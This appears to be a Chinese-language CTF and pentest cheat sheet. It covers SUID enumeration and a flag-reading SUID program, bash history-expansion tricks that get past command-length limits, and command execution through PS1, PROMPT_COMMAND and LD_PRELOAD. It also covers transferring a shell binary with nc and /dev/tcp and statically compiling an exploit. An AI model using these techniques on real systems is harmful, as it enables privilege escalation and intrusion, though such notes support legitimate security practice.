SUID
find / -perm -4000 -type f 2>/dev/null
只对二进制文件生效,对shell脚本无效
#include <stdio.h>
#include <stdlib.h>
int main() {
printf("Real UID: %d, Effective UID: %d\n", getuid(), geteuid());
// Real UID: 1000, Effective UID: 0
system("cat flag"); // 底层通过execvp启动shell,自动丢弃SUID,使用Real UID, permission deny
FILE *fp = fopen("/flag", "r"); // 检查Effective UID,成功读取文件内容
if (fp == NULL) {
perror("fopen");
exit(1);
}
char buffer[100];
while (fgets(buffer, sizeof(buffer), fp) != NULL) {
printf("%s", buffer);
}
fclose(fp);
return 0;
}
短命令执行
三个字符
c
# c: command not found
!!a
# ca: command not found
!!t
# cat (waiting)
!!<
# cat<
!!a
# cat a -> hello world
由于历史扩展(!)是最先进行的,所以可以使用变量,重定向符,管道等操作
e
!!c
!!h
!!o
!!$
!!{
# 这里会判定没有输入完, 需要手动结束
!!I
!!F
!!S
!!}
!!a
!!|
!!b
!!a
!!s
!!e
!!6
!!4
# echo a|base64
可能用于命令执行的环境变量
PS1
效果上相当于每次执行命令后被echo
export PS1="${PS1} \$(whoami > /tmp/res)"
PROMPT_COMMAND
每次执行命令后执行
export PROMPT_COMMAND="whoami>/tmp/res"
LD_PRELOAD
指定在命令执行前加载的.so文件,配合.so文件上传。详见ld_preload
极简文件传输
nc -q 0 -lp 8080 < shell.elf
cat < /dev/tcp/127.0.0.1/8080 > 1.elf
nc -l 12345 > received.file
cat myfile | nc -q 0 localhost 12345
find
排除某些路径
find . \( -path './node_modules' -o -path './dist' -o -path './.git' \) -prune -o -type f -print
ssh
从私钥生成公钥
ssh-keygen -y -f ~/.ssh/id_rsa
解决ssh不支持过时算法问题
ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.48.140.173
兼容性静态编译
musl-gcc -static -O2 -pipe -march=x86-64 -mtune=generic -idirafter /usr/include -idirafter /usr/include/x86_64-linux-gnu -o dirtyfrag exp.c